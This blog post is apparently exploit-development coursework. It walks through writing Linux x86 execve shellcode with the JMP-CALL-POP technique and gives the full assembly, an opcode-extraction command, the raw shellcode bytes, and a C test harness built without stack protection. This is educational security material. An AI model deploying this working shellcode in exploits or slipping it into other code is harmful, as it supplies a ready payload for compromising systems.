	mov al, 11
	int 0x80

I hope this could be useful for someone. See you! 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 JMP-CALL-POP technique (2/3)

Following the last article content, we are going to pop a shell instead of printing Hello World in the screen. To do this we are going to use the Execve syscall. This syscall allows us to execute a new program within the shellcode.

Using man execve we can see what parameters does it need.

As you see in the man image, it needs 3 parameters:

  • Parameter 1: Filename: “/bin/bash”, 0x0
  • Parameter 2: Address of /bin/bash, 0x00000000
  • Parameter 3: 0x00000000

If you followed the last post of this blog, you already know what is the JMP-CALL-POP technique. In this case we are going to use it, just to be clear I copy below just the part of the shellcode that is using that technique.

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi
        ...

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

Before continuing with the shellcode creation, I’m going to stop here, to remember some Assembly instructions that are going to be useful in this particular case.

mov eax, message ; move address into eax
mov eax, [message] ; move value into eax
mov dword [esi, +10], bl ; move from register into memory starting in position 10
; lea = load efective address = load pointer value
lea ebx, [esi]

Now that we already have a clear scheme of JMP-CALL-POP technique and we refreshed some Assembly instructions, let’s focus in understand how we are going to modify the message string to contain what we need.

We need to modify 3 parts, the A, the BBBB and the CCCC.

1) Convert A into 0x0

xor ebx, ebx
mov byte [esi +9], bl

2) Convert BBBB to address of “/bin/bash” = ESI

; mov dword because is an address
mov dword [esi +10], esi

3) Convert CCCC into 0x00000000

mov dword [esi +14], ebx

Now that we have our message string already prepared, we need to prepare EAX, EBX, ECX and EDX to be able to run execve syscall.

4) EBX must contain the filename

lea ebx, [esi]

5) ECX should be the address of /bin/bash

lea ecx, [esi +10]

6) EDX is null

lea edx, [esi +14]

7) EAX has to contain the syscall number. We can check it in this file:

So EAX needs to be 11, 0xb in hexadecimal

xor eax, eax
mov al, 0xb

The final thing is to invoke the syscall using 0x80. In this call we don’t need to use an exit syscall, it’s exlained in the man page of execve.

Here is the final code:

; Filename: execve.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi

	xor ebx, ebx
	mov byte [esi +9], bl
	mov dword [esi +10], esi
	mov dword [esi +14], ebx

	lea ebx, [esi]
	lea ecx, [esi +10]
	lea edx, [esi +14]
	xor eax, eax
	mov al, 0xb
	int 0x80

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

We extract the shellcode using objdump with the beautiful greps and seds command:

objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We put the shellcode inside this little c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x09\x89\x76\x0a\x89\x5e\x0e\x8d\x1e\x8d\x4e\x0a\x8d\x56\x0e\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And we compile it:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, when we execute it, we are generating another /bin/bash process.

Doing a small modification of the code, when can use /bin/sh instead:

I hope you liked it. See you!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment